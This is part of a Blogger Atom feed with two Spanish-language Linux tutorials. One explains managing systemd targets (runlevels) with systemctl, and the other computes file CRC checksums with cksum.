rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKvCBRHLB8qbPPa2jgP1nuLiQpSbYYn888Pt-y1t6rvrpq9QuPnlfQqHcTYuHBlUfXd3hFqVD1tAItjrc446ECiDHqhPDD3YBRWjILDvrQ8HZ_isUiXqQL50Ioy8KvDQ8onS3vzVv_MmJ-/s72-c/ansible-logo.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-758491715129760469.post-671098673734944040</id><published>2018-01-02T22:16:00.001+01:00</published><updated>2018-01-02T22:16:09.317+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Debian"/><category scheme="http://www.blogger.com/atom/ns#" term="Howto"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Red Hat"/><category scheme="http://www.blogger.com/atom/ns#" term="Shell"/><category scheme="http://www.blogger.com/atom/ns#" term="Ubuntu"/><title type='text'>Cómo controlar el runlevel en Linux con systemd</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
La tecnología va evolucionando de forma inexorable con el paso de los años, haciendo que algunos conceptos que se han mantenido intocables con el paso de los años, cambien; cosa inevitable. Esto hace que, nos guste o no, tengamos que adaptarnos a dichos cambios. Uno de los cambios más polémicos que han tenido los entornos de &lt;b&gt;GNU/Linux&lt;/b&gt;, es sin lugar a dudas la implantación de &lt;a href=&quot;https://bytelearning.blogspot.com.es/2015/04/systemd-el-init-del-presente-en-el.html&quot;&gt;systemd&lt;/a&gt;, que se ha aplicado a la mayoría de sistemas operativos actuales, con algunas excepciones tales como Devuan. Dicho cambio supone la obligación del aprendizaje de nuevos conceptos, pues aunque en algunos sistemas como Debian o Ubuntu, existen varios enlaces simbólicos para algunas funciones con el fin de que la curva de aprendizaje sea mucho más suave, existen algunas funcionalidades que estamos obligados a aprendernos sí o sí. Uno de dichos conceptos sería el manejo del &lt;b&gt;runlevel &lt;/b&gt;del sistema.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSCFNlHGIiP0jYsnbJB2wL6p-Qm9ub5T2STYgkgdsBQNX-LGy03GaOoN4IQzq9CrUUTWm3vR-8_vvkuhTDsBqrI-JEy4d-CH2-TmZIrBFG6cL_11GEb6VMwJ5wHFqg-MdQBF2wmU3zK67M/s1600/systemd.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;systemd_portada&quot; border=&quot;0&quot; data-original-height=&quot;114&quot; data-original-width=&quot;429&quot; height=&quot;85&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSCFNlHGIiP0jYsnbJB2wL6p-Qm9ub5T2STYgkgdsBQNX-LGy03GaOoN4IQzq9CrUUTWm3vR-8_vvkuhTDsBqrI-JEy4d-CH2-TmZIrBFG6cL_11GEb6VMwJ5wHFqg-MdQBF2wmU3zK67M/s320/systemd.png&quot; title=&quot;systemd_portada&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Ya &lt;a href=&quot;https://bytelearning.blogspot.com.es/2015/04/los-niveles-de-ejecucion.html&quot;&gt;se ha hablado de dicho concepto con anterioridad en este blog&lt;/a&gt;; pero en dicho caso se trató el concepto con un init de &lt;b&gt;System V&lt;/b&gt;; init que ,para bien o para mal, va a tender a desaparecer o perder relevancia progresivamente. En este caso trataremos el el manejo del runlevel, o nivel de ejecución, en un entorno con un init systemd.&lt;br /&gt;
&lt;br /&gt;
Para ello lo primero que tenemos que tener en cuenta es que para hacer referencia a dichos niveles de ejecución, no se hace numéricamente como antes (0, apagado, 1 modo monousuario, etc...), sino que se hace mediante descripciones más técnicas; descripciones a las que luego se hacen referencia mediante enlaces simbólicos, cuyos nombres son parecidos a los usados en System V (runlevel0.target, runlevel1.target...) pero que no dejan de ser enlaces simbólicos, con lo que es mejor tener claros los nombres reales de los niveles de ejecución en systemd. He aquí una pequeña tabla con los runlevels de System V, los nombre &quot;intuitivos&quot; usados en systemd, y los nombres reales utilizados en systemd:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3kxI-nDjhbMOKsIQ8jH4_iL34k0Q-vj8p6U_vazsAj7KLNQ4gNMv3Ys4qScVdo4kq5Zr9ZaTn2_nQ2AEmVuG8p0t2iP_N0z9UYoV1UjtZFcvELpUCzyuFoTZFMFoLLbdXNfwbh33bENfr/s1600/Runlevel_systemd.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;tabla_runlevel&quot; border=&quot;0&quot; data-original-height=&quot;227&quot; data-original-width=&quot;635&quot; height=&quot;113&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3kxI-nDjhbMOKsIQ8jH4_iL34k0Q-vj8p6U_vazsAj7KLNQ4gNMv3Ys4qScVdo4kq5Zr9ZaTn2_nQ2AEmVuG8p0t2iP_N0z9UYoV1UjtZFcvELpUCzyuFoTZFMFoLLbdXNfwbh33bENfr/s320/Runlevel_systemd.PNG&quot; title=&quot;tabla_runlevel&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;i&gt;Tabla nombre runlevels&lt;/i&gt;&lt;/div&gt;
&lt;br /&gt;
Teniendo claros dichos conceptos, nosotros nos vamos a centrar en los nombres &quot;reales&quot; usados en systemd, sin uso de alias, pues dichos alias puede que en un futuro desaparezcan y es mejor intentar no crear posibles malos hábitos.&lt;br /&gt;
&lt;br /&gt;
Para adivinar el runlevel usado por defecto por el sistema podemos recurrir a la herramienta principal de systemd: &lt;b&gt;systemctl&lt;/b&gt;. En concreto habría que recurrir al siguiente comando:&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;root@debian&lt;span style=&quot;color: #d2cd86;&quot;&gt;:&lt;/span&gt;~&lt;span style=&quot;color: #9999a9;&quot;&gt;# systemctl get-default&lt;/span&gt;
graphical&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;target
&lt;/pre&gt;
&lt;br /&gt;
Por defecto, lo más común sería que viésemos el resultado mostrado arriba; es decir el runlevel graphical.target; o lo que sería lo mismo, el runlevel5 en System V. Además, si bien lo más común es que coincidan, podemos ver el runlevel actual de diferentes formas:&lt;br /&gt;
&lt;br /&gt;
La primera, y menos recomendada debido a que con el tiempo la obsoletarán, será mediante el comando usado siempre en sistemas system V; es decir mediante el comando &lt;b&gt;runlevel&lt;/b&gt;:&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;root@debian&lt;span style=&quot;color: #d2cd86;&quot;&gt;:&lt;/span&gt;~&lt;span style=&quot;color: #9999a9;&quot;&gt;# runlevel&lt;/span&gt;
&lt;span style=&quot;color: #008c00;&quot;&gt;5&lt;/span&gt;
&lt;/pre&gt;
&lt;br /&gt;
Otra forma de conocer el runlevel, es mediante systemctl, el cual ofrece un resultado más preciso pero que desgraciadamente no muestra un valor único; veréis, si os fijas bien todos los nombres acaban en &quot;target&quot;, y es debido a que ahora muchos conceptos son denominados así, con lo que si listamos todos los targets cargados por el sistema, tendremos que ver entre dicho listado nuestro runlevel actual; el problema es que si bien la información es fidedigna, requiere o bien poner muchos &lt;a href=&quot;https://bytelearning.blogspot.com.es/2015/03/grep-egrep-y-fgrep-que-diferencia-hay.html&quot;&gt;greps&lt;/a&gt;&amp;nbsp;para mostrar únicamente una línea, o fijarse entre las líneas mostradas en aquella que hace referencia al runlevel; he aquí el comando y el resultado mostrado por este:&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;systemctl list-units --&lt;span style=&quot;color: #904050;&quot;&gt;type&lt;/span&gt; target &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt;grep loaded
&lt;/pre&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_9ID4qAkjXBNfE4HUCJSEZLbxbI1daIz6YXufSqEYAvx-6KMeagiJofVs4Mx5Cbr5f_Ffc5i4fUjztVSS50-AxeKSRgTS9IYNKZpmxV_FG_UEwqybYgdm7UkWo3A0Bqz9M2cTKJN_7fii/s1600/target_list.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;target_list&quot; border=&quot;0&quot; data-original-height=&quot;288&quot; data-original-width=&quot;552&quot; height=&quot;166&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_9ID4qAkjXBNfE4HUCJSEZLbxbI1daIz6YXufSqEYAvx-6KMeagiJofVs4Mx5Cbr5f_Ffc5i4fUjztVSS50-AxeKSRgTS9IYNKZpmxV_FG_UEwqybYgdm7UkWo3A0Bqz9M2cTKJN_7fii/s320/target_list.PNG&quot; title=&quot;target_list&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Teniendo en mano la información deseada, ahora podemos proceder a cambiar el runlevel, cambio que se puede hacer de dos formas diferentes.&lt;br /&gt;
&lt;br /&gt;
El primero y el más &quot;sólido&quot; sería cambiando el runlevel por defecto usado por el sistema. Esto haría que a partir del siguiente reinicio siempre se usase dicho runlevel; lo cual en algunos casos puede ser útil aunque habría que ser muy cuidadoso, ya que en dicho caso nunca podríamos usar los &quot;targets&quot; poweroff.target ni reboot.target, pues en caso contrario no podríamos arrancar con normalidad a menos que editasemos el runlevel en el propio &lt;a href=&quot;https://bytelearning.blogspot.com.es/2013/02/la-necesidad-de-proteger-el-gestor-de.html&quot;&gt;GRUB&lt;/a&gt;&amp;nbsp;para dicho arranque en cuestión. Dicho cambio se haría mediante el comando systemctl tal que así:&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;systemctl set-default nombre_target&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
Por ejemplo:&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;systemctl &lt;span style=&quot;color: #904050;&quot;&gt;set&lt;/span&gt;-default rescue&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;target
&lt;/pre&gt;
&lt;br /&gt;
Esta acción cambiará el runlevel que cargaremos por defecto y si nos fijamos bien veremos que en realidad lo que realiza es un &lt;a href=&quot;http://bytelearning.blogspot.com/2015/08/enlace-simbolico-y-enlace-duro-que.html&quot;&gt;enlace simbólico&lt;/a&gt; desde&amp;nbsp;/&lt;i&gt;lib/systemd/system/nombre_target&lt;/i&gt; a&amp;nbsp;&lt;i&gt;/etc/systemd/system/default.target&lt;/i&gt;, con lo que en caso de no sentirnos cómodos usando la herramienta systemctl, podemos optar por cambiar el runlevel por defecto de la siguiente forma:&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;rm &lt;span style=&quot;color: white;&quot;&gt;/etc/systemd/system/default.target&lt;/span&gt;
ln &lt;span style=&quot;color: #00dddd;&quot;&gt;-s&lt;/span&gt; &lt;span style=&quot;color: white;&quot;&gt;/lib/systemd/system/rescue.target&lt;/span&gt; &lt;span style=&quot;color: teal;&quot;&gt;\&lt;/span&gt;
&lt;span style=&quot;color: white;&quot;&gt;/etc/systemd/system/default.target&lt;/span&gt;
&lt;/pre&gt;
&lt;br /&gt;
Si en cambio quisiésemos cambiar el runlevel del sistema únicamente para la sesión actual, habría que optar por otro comando de systemctl; en concreto sería:&lt;br /&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;systemctl isolate nombre_target&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
Por ejemplo:&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;systemctl isolate rescue&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;target
&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
Como veis, la manipulación del runlevel mantiene las mismas bases que en system V, con la diferencia de que se usan herramientas y nomenclaturas distintas; lo más importante dentro de los runlevels de systemd no sería el conocimiento de la herramienta de systemctl, sino la comprensión de las nuevas nomenclaturas de éstos, nomenclaturas que ahora sería &quot;targets&quot; y que estarían estrechamente ligadas a la definición de cada nivel de ejecución.&lt;br /&gt;
&lt;br /&gt;
Espero que os haya resultado útil.&lt;br /&gt;
&lt;br /&gt;
Saludos.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='https://bytelearning.blogspot.com/feeds/671098673734944040/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://bytelearning.blogspot.com/2018/01/controlar-runlevel-linux-systemd.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/671098673734944040'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/671098673734944040'/><link rel='alternate' type='text/html' href='https://bytelearning.blogspot.com/2018/01/controlar-runlevel-linux-systemd.html' title='Cómo controlar el runlevel en Linux con systemd'/><author><name>Ivan Da Silva</name><uri>http://www.blogger.com/profile/13470310234898491916</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSCFNlHGIiP0jYsnbJB2wL6p-Qm9ub5T2STYgkgdsBQNX-LGy03GaOoN4IQzq9CrUUTWm3vR-8_vvkuhTDsBqrI-JEy4d-CH2-TmZIrBFG6cL_11GEb6VMwJ5wHFqg-MdQBF2wmU3zK67M/s72-c/systemd.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-758491715129760469.post-4491336155330352584</id><published>2017-12-21T22:03:00.001+01:00</published><updated>2017-12-21T22:03:48.447+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Howto"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Networking"/><category scheme="http://www.blogger.com/atom/ns#" term="Seguridad"/><category scheme="http://www.blogger.com/atom/ns#" term="Shell"/><title type='text'>Cómo calcular el CRC de un fichero en Linux</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
Las redes de datos se van haciendo progresivamente más complejas y más difíciles de administrar; ya sea por que las infraestructuras crecen o debido a que existen más factores que pueden conducir a un error o una corrupción en la comunicación; desde fallos a nivel de diseño hasta ataques de &lt;a href=&quot;http://bytelearning.blogspot.com/2015/03/analisis-y-medidas-de-defensa-en-una.html&quot;&gt;man in the middle&lt;/a&gt;. Afortunadamente a medida que la tecnología evoluciona, también lo hacen los mecanismos de verificación, y hoy vengo a hablaros de uno de ellos que se usa en todas las redes de una forma imperceptible para los usuarios. Se trata del &lt;b&gt;CRC &lt;/b&gt;o &lt;b&gt;Código de Redundancia Cíclica&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9TYlslt5ujwyYbjTk52QTunRmZRs95TJhj3RF6K-_CiMIyWH1GLWUzlaLgGAUIUJn3J53d0lffWH35BK_tdoucZuzvNjISmrsHska43B3hESnV5Q7w4bkiHJhdkngOg8RqkDqdWf23i9w/s1600/CRC_Portada.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;CRC_portada&quot; border=&quot;0&quot; data-original-height=&quot;422&quot; data-original-width=&quot;928&quot; height=&quot;145&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9TYlslt5ujwyYbjTk52QTunRmZRs95TJhj3RF6K-_CiMIyWH1GLWUzlaLgGAUIUJn3J53d0lffWH35BK_tdoucZuzvNjISmrsHska43B3hESnV5Q7w4bkiHJhdkngOg8RqkDqdWf23i9w/s320/CRC_Portada.png&quot; title=&quot;CRC_portada&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
CRC no es ni más ni menos que una mecanismo de verificación de integridad de datos, el cual realiza un &lt;i&gt;checksum&lt;/i&gt;&amp;nbsp;al enviar un paquete a otro punto de la red, y luego es realizado otro más al llegar a su destino. Ambos &lt;i&gt;checksum&lt;/i&gt;&amp;nbsp;serían comparados y en caso de que fuesen iguales, el paquete se daría por válido, mientras que en caso contrario se consideraría que el paquete se encuentra corrupto o infectado. A modo aclaratorio, he aquí un pequeño diagrama que puede resultar de ayuda:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjggEm7JMn91MSpyn2ajwvVwbl78VpbqE-TnFMSY0glR2FLHni5xmh0nAKSORL1r1LI7A4FsCcGdwD8pxF3CXpfNPLxgYEeEfU7nmK-FVBi6EuvQ0fmcv0CyJGpTp8-m5Zxql57gLZmVHm7/s1600/CRC.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;Diagrama_CRC&quot; border=&quot;0&quot; data-original-height=&quot;601&quot; data-original-width=&quot;671&quot; height=&quot;286&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjggEm7JMn91MSpyn2ajwvVwbl78VpbqE-TnFMSY0glR2FLHni5xmh0nAKSORL1r1LI7A4FsCcGdwD8pxF3CXpfNPLxgYEeEfU7nmK-FVBi6EuvQ0fmcv0CyJGpTp8-m5Zxql57gLZmVHm7/s320/CRC.png&quot; title=&quot;Diagrama_CRC&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
El mecanismo de comprobación del &lt;i&gt;CRC &lt;/i&gt;es ejecutado automáticamente por el sistema sin intervención alguna, pero eso no significa que no haya métodos para comprobar el &lt;i&gt;CRC &lt;/i&gt;de un fichero manualmente sin necesidad de tener que enviarlo a ningún lado. La herramienta en cuestión, obviamente para entornos GNU/Linux, se llama &lt;b&gt;cksum&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
Cksum&lt;i&gt; &lt;/i&gt;es una herramienta cuya dificultad de uso, afortunadamente, es nula y que ya viene pre-instalada en el sistema, con lo que su uso está al alcance de cualquiera. Su utilidad es el calcular el &lt;i&gt;checksum &lt;/i&gt;CRC de un &lt;b&gt;fichero &lt;/b&gt;y para usarla simplemente habría que escribir:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;cksum fichero&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Ejemplo:&lt;br /&gt;
&lt;pre style=&quot;background: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;color: #d1d1d1;&quot;&gt;cksum testCRC&lt;/span&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d1d1d1;&quot;&gt;txt
&lt;/span&gt;&lt;span style=&quot;color: #008c00;&quot;&gt;935282863 5&lt;/span&gt;&lt;span style=&quot;color: #d1d1d1;&quot;&gt; testCRC&lt;/span&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d1d1d1;&quot;&gt;txt
&lt;/span&gt;&lt;/pre&gt;
&lt;br /&gt;
La salida de este comando estaría dividida en tres columnas: La primera correspondería al &lt;i&gt;checksum &lt;/i&gt;CRC, la segunda al tamaño del fichero y la tercera al nombre de éste. Tanto el CRC como el tamaño son importantes, pero a nivel de red el que se tomaría en cuenta sería el CRC. Dicho checksum CRC cambiaría en caso de que el contenido de éste cambiase; veamos un pequeño ejemplo:&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;root@debian&lt;span style=&quot;color: #d2cd86;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/tmp&lt;/span&gt;&lt;span style=&quot;color: #9999a9;&quot;&gt;# cat testCRC.txt&lt;/span&gt;
&lt;span style=&quot;color: #904050;&quot;&gt;test&lt;/span&gt;
root@debian&lt;span style=&quot;color: #d2cd86;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/tmp&lt;/span&gt;&lt;span style=&quot;color: #9999a9;&quot;&gt;# cksum testCRC.txt&lt;/span&gt;
&lt;span style=&quot;color: #008c00;&quot;&gt;935282863&lt;/span&gt; &lt;span style=&quot;color: #008c00;&quot;&gt;5&lt;/span&gt; testCRC&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;txt
root@debian&lt;span style=&quot;color: #d2cd86;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/tmp&lt;/span&gt;&lt;span style=&quot;color: #9999a9;&quot;&gt;# echo &#39;Cambio de contenido&#39; &amp;gt; testCRC.txt&lt;/span&gt;
root@debian&lt;span style=&quot;color: #d2cd86;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/tmp&lt;/span&gt;&lt;span style=&quot;color: #9999a9;&quot;&gt;# cat testCRC.txt&lt;/span&gt;
&lt;span style=&quot;color: #904050;&quot;&gt;Cambio de contenido&lt;/span&gt;
root@debian&lt;span style=&quot;color: #d2cd86;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/tmp&lt;/span&gt;&lt;span style=&quot;color: #9999a9;&quot;&gt;# cksum testCRC.txt&lt;/span&gt;
&lt;span style=&quot;color: #008c00;&quot;&gt;301284194&lt;/span&gt; &lt;span style=&quot;color: #008c00;&quot;&gt;20&lt;/span&gt; testCRC&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;txt
&lt;/pre&gt;
&lt;br /&gt;
En el ejemplo anterior se puede apreciar que cuando el contenido del fichero testCRC.txt es &lt;i&gt;test&lt;/i&gt;, el checksum es &lt;i&gt;935282863&lt;/i&gt; mientras que cuando el contenido es &lt;i&gt;Cambio de contenido&lt;/i&gt;, sería &lt;i&gt;301284194&lt;/i&gt;. Dicho checksum también variaría con cambios más sutiles, tales como la sustitución de todas las i por u (mediante el comando sed por ejemplo).&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;root@debian&lt;span style=&quot;color: #d2cd86;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/tmp&lt;/span&gt;&lt;span style=&quot;color: #9999a9;&quot;&gt;# sed -i &#39;s/i/u/g&#39; testCRC.txt&lt;/span&gt;
root@debian&lt;span style=&quot;color: #d2cd86;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/tmp&lt;/span&gt;&lt;span style=&quot;color: #9999a9;&quot;&gt;# cat testCRC.txt&lt;/span&gt;
&lt;span style=&quot;color: #904050;&quot;&gt;Cambuo de contenudo&lt;/span&gt;
root@debian&lt;span style=&quot;color: #d2cd86;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/tmp&lt;/span&gt;&lt;span style=&quot;color: #9999a9;&quot;&gt;# cksum testCRC.txt&lt;/span&gt;
&lt;span style=&quot;color: #008c00;&quot;&gt;1797125648&lt;/span&gt; &lt;span style=&quot;color: #008c00;&quot;&gt;20&lt;/span&gt; testCRC&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;txt
&lt;/pre&gt;
&lt;br /&gt;
Se podría considerar como una comprobación de checksum parecida a la usada con &lt;a href=&quot;https://bytelearning.blogspot.com.es/2015/10/como-cambiar-el-cifrado-de-nuestras.html&quot;&gt;md5&lt;/a&gt;&amp;nbsp;(mediante md5sum) pero con un enfoque mucho más orientado a las redes; es más en este caso se podría decir que se hacen comprobaciones de integridad de forma automática sin que nosotros nos percatemos de ello; haciendo que el Código de Redundancia Cíclica sea usado por todo tipo de usuarios todos los días sin que la mayoría de ellos lo sepan, con lo que en ocasiones puede sernos interesantes conocer el CRC de un fichero con el fin de tener un mayor conocimiento de la información transmitida y/o recibida.&lt;br /&gt;
&lt;br /&gt;
Espero que os haya parecido interesante.&lt;br /&gt;
&lt;br /&gt;
Saludos.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='https://bytelearning.blogspot.com/feeds/4491336155330352584/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://bytelearning.blogspot.com/2017/12/como-calcular-el-crc-de-un-fichero-en.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/4491336155330352584'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/4491336155330352584'/><link rel='alternate' type='text/html' href='https://bytelearning.blogspot.com/2017/12/como-calcular-el-crc-de-un-fichero-en.html' title='Cómo calcular el CRC de un fichero en Linux'/><author><name>Ivan Da Silva</name><uri>http://www.blogger.com/profile/13470310234898491916</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9TYlslt5ujwyYbjTk52QTunRmZRs95TJhj3RF6K-_CiMIyWH1GLWUzlaLgGAUIUJn3J53d0lffWH35BK_tdoucZuzvNjISmrsHska43B3hESnV5Q7w4bkiHJhdkngOg8RqkDqdWf23i9w/s72-c/CRC_Portada.png" height="72" width="72"/><thr:total>0</thr:total></entry></feed>